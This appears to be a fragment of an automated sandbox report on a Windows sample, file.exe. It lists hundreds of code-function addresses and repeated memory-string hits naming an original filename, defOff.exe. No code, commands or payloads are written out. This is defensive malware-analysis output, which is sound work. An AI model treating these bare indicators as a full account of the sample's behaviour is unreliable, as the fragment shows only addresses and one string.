Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E7DD87	0_2_05E7DD87
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E8E590	0_2_05E8E590
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E6959F	0_2_05E6959F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E9B568	0_2_05E9B568
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EAA578	0_2_05EAA578
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EAAD78	0_2_05EAAD78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EAF541	0_2_05EAF541
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E73551	0_2_05E73551
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E87D56	0_2_05E87D56
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EAFD54	0_2_05EAFD54
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E91D24	0_2_05E91D24
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EA4D33	0_2_05EA4D33
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E68539	0_2_05E68539
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E7A504	0_2_05E7A504
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E7250F	0_2_05E7250F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EBBD01	0_2_05EBBD01
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EBDD07	0_2_05EBDD07
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E874E9	0_2_05E874E9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EA5CEE	0_2_05EA5CEE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EA7CFA	0_2_05EA7CFA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EB1CC9	0_2_05EB1CC9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EB54CC	0_2_05EB54CC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E7ACCA	0_2_05E7ACCA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E914C7	0_2_05E914C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E9F4DD	0_2_05E9F4DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E90CDE	0_2_05E90CDE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E72CDE	0_2_05E72CDE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E904D0	0_2_05E904D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EC0CA4	0_2_05EC0CA4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E6ECAA	0_2_05E6ECAA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E954A5	0_2_05E954A5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E77CAA	0_2_05E77CAA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E9ECBE	0_2_05E9ECBE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EB04B3	0_2_05EB04B3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E66483	0_2_05E66483
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E6B48D	0_2_05E6B48D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E67C93	0_2_05E67C93
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E7449E	0_2_05E7449E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E75C9A	0_2_05E75C9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EB346C	0_2_05EB346C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EB9460	0_2_05EB9460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E7646B	0_2_05E7646B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E8DC4D	0_2_05E8DC4D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E8CC55	0_2_05E8CC55
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E87422	0_2_05E87422
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EBD425	0_2_05EBD425
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E9343A	0_2_05E9343A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EB641B	0_2_05EB641B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EBEC1A	0_2_05EBEC1A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EB1417	0_2_05EB1417
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E73FE7	0_2_05E73FE7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EB2FE8	0_2_05EB2FE8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EADFEF	0_2_05EADFEF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E917E3	0_2_05E917E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E97FF1	0_2_05E97FF1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E757CD	0_2_05E757CD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E987C6	0_2_05E987C6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EB37AA	0_2_05EB37AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E797AA	0_2_05E797AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EB8FA5	0_2_05EB8FA5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E927BD	0_2_05E927BD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EA27BF	0_2_05EA27BF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EA1789	0_2_05EA1789
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EAB78C	0_2_05EAB78C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EB3F80	0_2_05EB3F80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E84F87	0_2_05E84F87
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E7A796	0_2_05E7A796
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E76F91	0_2_05E76F91
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E8F794	0_2_05E8F794
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E9376D	0_2_05E9376D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EA0767	0_2_05EA0767
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E7F77E	0_2_05E7F77E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E8274C	0_2_05E8274C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EB5F45	0_2_05EB5F45
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E9775F	0_2_05E9775F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EB4F50	0_2_05EB4F50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EBE755	0_2_05EBE755
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E9C722	0_2_05E9C722
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EB9720	0_2_05EB9720
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E81F25	0_2_05E81F25
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EA9703	0_2_05EA9703
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EB6F04	0_2_05EB6F04
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E9BF18	0_2_05E9BF18
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EA8F1D	0_2_05EA8F1D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E8C716	0_2_05E8C716
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E9CEEA	0_2_05E9CEEA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EB86EF	0_2_05EB86EF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E856F0	0_2_05E856F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E6DEC8	0_2_05E6DEC8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E88EDF	0_2_05E88EDF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E95ED5	0_2_05E95ED5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EC16AC	0_2_05EC16AC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EACEAF	0_2_05EACEAF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EB0EAC	0_2_05EB0EAC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E74EAD	0_2_05E74EAD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EB9EB8	0_2_05EB9EB8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E7FEBD	0_2_05E7FEBD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E9D68A	0_2_05E9D68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EA369B	0_2_05EA369B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E6BE64	0_2_05E6BE64
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EAC668	0_2_05EAC668
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E6FE6E	0_2_05E6FE6E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EBDE7D	0_2_05EBDE7D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EADE4A	0_2_05EADE4A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E6A643	0_2_05E6A643
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E6CE4C	0_2_05E6CE4C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E8AE51	0_2_05E8AE51
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E9262E	0_2_05E9262E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EBFE37	0_2_05EBFE37
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E7563A	0_2_05E7563A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EC2632	0_2_05EC2632
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E8CE0F	0_2_05E8CE0F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E96E1B	0_2_05E96E1B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E77E18	0_2_05E77E18
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E811ED	0_2_05E811ED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EA51E0	0_2_05EA51E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EB09FD	0_2_05EB09FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EC21FB	0_2_05EC21FB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EC29F3	0_2_05EC29F3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EAB1CB	0_2_05EAB1CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E719C8	0_2_05E719C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E8A9D8	0_2_05E8A9D8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E951D9	0_2_05E951D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EBF1AD	0_2_05EBF1AD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E691B5	0_2_05E691B5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EBA9BD	0_2_05EBA9BD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E9A9B1	0_2_05E9A9B1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E9B1B2	0_2_05E9B1B2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EC01B7	0_2_05EC01B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E97194	0_2_05E97194
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E8C197	0_2_05E8C197
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E8B96B	0_2_05E8B96B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E8396C	0_2_05E8396C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EBC966	0_2_05EBC966
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E6D177	0_2_05E6D177
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EB497E	0_2_05EB497E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EA7972	0_2_05EA7972
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EA915A	0_2_05EA915A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EAE928	0_2_05EAE928
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E8B122	0_2_05E8B122
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E8E139	0_2_05E8E139
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EAC134	0_2_05EAC134
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E8811D	0_2_05E8811D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E7791B	0_2_05E7791B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E6A118	0_2_05E6A118
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E730E6	0_2_05E730E6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E840EE	0_2_05E840EE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E678F6	0_2_05E678F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E990CD	0_2_05E990CD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E720C8	0_2_05E720C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E660D7	0_2_05E660D7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EAA8D8	0_2_05EAA8D8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E738D2	0_2_05E738D2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E6C8DD	0_2_05E6C8DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E910B8	0_2_05E910B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E7E0B1	0_2_05E7E0B1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E7F096	0_2_05E7F096
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E6B065	0_2_05E6B065
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E7A068	0_2_05E7A068
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E7C075	0_2_05E7C075
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E65875	0_2_05E65875
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E71047	0_2_05E71047
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EB1842	0_2_05EB1842
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EBD85A	0_2_05EBD85A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E9F85B	0_2_05E9F85B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E7E854	0_2_05E7E854
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E8A856	0_2_05E8A856
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E6802E	0_2_05E6802E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EA2022	0_2_05EA2022
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E8480B	0_2_05E8480B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EAF803	0_2_05EAF803
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EBA804	0_2_05EBA804
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EA001F	0_2_05EA001F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E97BED	0_2_05E97BED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EA0BE6	0_2_05EA0BE6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E7EBF3	0_2_05E7EBF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EC03FB	0_2_05EC03FB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E7BBFD	0_2_05E7BBFD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EA1BF7	0_2_05EA1BF7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E8A3CB	0_2_05E8A3CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E733C2	0_2_05E733C2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EA43DB	0_2_05EA43DB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E823AF	0_2_05E823AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E813A1	0_2_05E813A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E8D3B8	0_2_05E8D3B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EAF3B8	0_2_05EAF3B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EAE3BC	0_2_05EAE3BC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E6DBB9	0_2_05E6DBB9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EB7389	0_2_05EB7389
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E93B8A	0_2_05E93B8A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E6D382	0_2_05E6D382
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EABB8D	0_2_05EABB8D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E7C38B	0_2_05E7C38B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EB8384	0_2_05EB8384
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E98B9A	0_2_05E98B9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E7836F	0_2_05E7836F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E7D36D	0_2_05E7D36D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E65B73	0_2_05E65B73
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EB8B73	0_2_05EB8B73
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EA9B4B	0_2_05EA9B4B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EBFB5E	0_2_05EBFB5E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EBE32E	0_2_05EBE32E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E7CB2C	0_2_05E7CB2C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E92B3D	0_2_05E92B3D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E7FB38	0_2_05E7FB38
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E7730C	0_2_05E7730C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EB3B15	0_2_05EB3B15
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E942EE	0_2_05E942EE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EA02E2	0_2_05EA02E2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E802F9	0_2_05E802F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EA12F1	0_2_05EA12F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EB7ACB	0_2_05EB7ACB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EA92C7	0_2_05EA92C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E74AD5	0_2_05E74AD5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E9CADD	0_2_05E9CADD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E6F2A6	0_2_05E6F2A6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E81AA2	0_2_05E81AA2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EB6AA6	0_2_05EB6AA6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EAD2BD	0_2_05EAD2BD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EB42B1	0_2_05EB42B1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E70A8A	0_2_05E70A8A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E80A9C	0_2_05E80A9C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E88291	0_2_05E88291
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EA626B	0_2_05EA626B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E67265	0_2_05E67265
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E96A6A	0_2_05E96A6A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E9BA43	0_2_05E9BA43
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EA3A40	0_2_05EA3A40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E96246	0_2_05E96246
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E95A54	0_2_05E95A54
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E8EA56	0_2_05E8EA56
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E94A56	0_2_05E94A56
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E7BA23	0_2_05E7BA23
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E6E23F	0_2_05E6E23F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E7523B	0_2_05E7523B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E6BA0F	0_2_05E6BA0F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E97A03	0_2_05E97A03
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E9DA05	0_2_05E9DA05
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E88A07	0_2_05E88A07
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05E70217	0_2_05E70217
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EAFA18	0_2_05EAFA18
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_05EB821F	0_2_05EB821F

Source: file.exe, 00000000.00000003.1643089066.0000000005A97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1642666949.0000000005BBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1640352055.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1637812345.0000000005B83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1644776618.0000000005A9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1634986812.0000000005B6C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1632493331.0000000005A93000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1645607168.0000000005A98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1637467591.0000000005A97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1632954279.0000000005A92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1638882159.0000000005C9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1741150170.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1636789232.0000000005A94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1636884243.0000000005B81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1646301105.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1630947801.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1645464812.0000000005D0B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1646012282.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1635258682.0000000005A95000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1630629487.0000000005912000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1626713300.0000000005892000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1640800729.0000000005A9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1645193918.0000000005A96000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1634335080.0000000005C03000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1635350127.0000000005B64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1638236798.0000000005C87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1637137121.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1636601492.0000000005B7C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1638063204.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1645875930.0000000005A9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1645331099.0000000005BCD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1632043405.00000000054E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1634232776.0000000005B48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1644229263.0000000005CF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1634890677.0000000005A9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1636408456.0000000005C38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1639297224.0000000005A95000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1740674229.0000000005684000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1639945925.0000000005CCD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1740674229.0000000005699000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefO vs file.exe
Source: file.exe, 00000000.00000003.1634140049.0000000005A92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1636316281.0000000005B62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1636694840.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
